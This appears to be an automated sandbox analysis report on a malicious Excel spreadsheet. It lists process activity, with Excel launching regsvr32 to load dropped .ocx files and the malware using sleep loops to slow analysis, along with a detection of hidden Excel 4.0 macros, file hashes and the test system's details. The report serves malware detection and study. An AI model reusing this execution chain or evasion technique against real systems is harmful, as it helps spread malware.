Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx	Jump to behavior

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE6A6.tmp

Jump to behavior

Source: classification engine

Classification label: mal80.expl.winXLS@7/4@3/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: FFC2.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\regsvr32.exe TID: 1172	Thread sleep count: 111 > 30	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2128	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2728	Thread sleep time: -60000s >= -30000s	Jump to behavior

Binary or memory string: vNWziajHgfS7tFDWOKyqrQrqAAAAAAAAAAAABkYAAAAAAAAAAAAAAHQWW/RLD1fagfOsuPn2DzAD

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Source: Yara match	File source: counter-1248368226.xls, type: SAMPLE
Source: Yara match	File source: C:\Users\user\Desktop\counter-1248368226.xls, type: DROPPED

Source: EXCEL.EXE, 00000000.00000002.770115038.00000000007F0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: EXCEL.EXE, 00000000.00000002.770115038.00000000007F0000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: EXCEL.EXE, 00000000.00000002.770115038.00000000007F0000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

ID:	532597
Product:	CloudBasic
Start time:	14:34:33
Start date:	02.12.2021
Sample:	counter-1248368226.xls
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	30a0db47a66a3d3173457755bb166529
SHA1:	c852a219defe8ab726b72f8792386e35428b46dc
SHA256:	bdd97906934a97d1081e68ac8f71c98a169c4af705c17b73b69b3649df216885
Filetype:	Microsoft Excel sheet (30009/1) 78.94%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Temp\FFC2.tmp	Composite Document File V2 Document, Cannot read section info	72F5C05B7EA8DD6059BF59F50B22DF33	D5AF52E129E15E3A34772806F6C5FBF132E7408E	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
C:\Users\user\AppData\Local\Temp\~DF3298678F3B11AF32.TMP	data	193AED4E8225F55CE53F3DE42895D51E	35C2A28EB87E87B40275737D4EE569B5D45BF237	92B61AE08A4A89E9086400FC634F2A39313F3D685BDAF4810059B265CED6A12B
C:\Users\user\AppData\Local\Temp\~DF55CA0BB42F5D2008.TMP	data	BF619EAC0CDF3F68D496EA9344137E8B	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
C:\Users\user\Desktop\counter-1248368226.xls	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Tue Nov 30 06:43:37 2021, Security: 0	E265AA247D2C6CD7554013D78300C567	8937206AE6674A7FD2060CD3334A71E781141EB0	F5E73916414A422DFD22643CB76EBA49CC75E5F9FE4100C6053D93DB7471206B

Windows Analysis Report counter-1248368226.xls

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs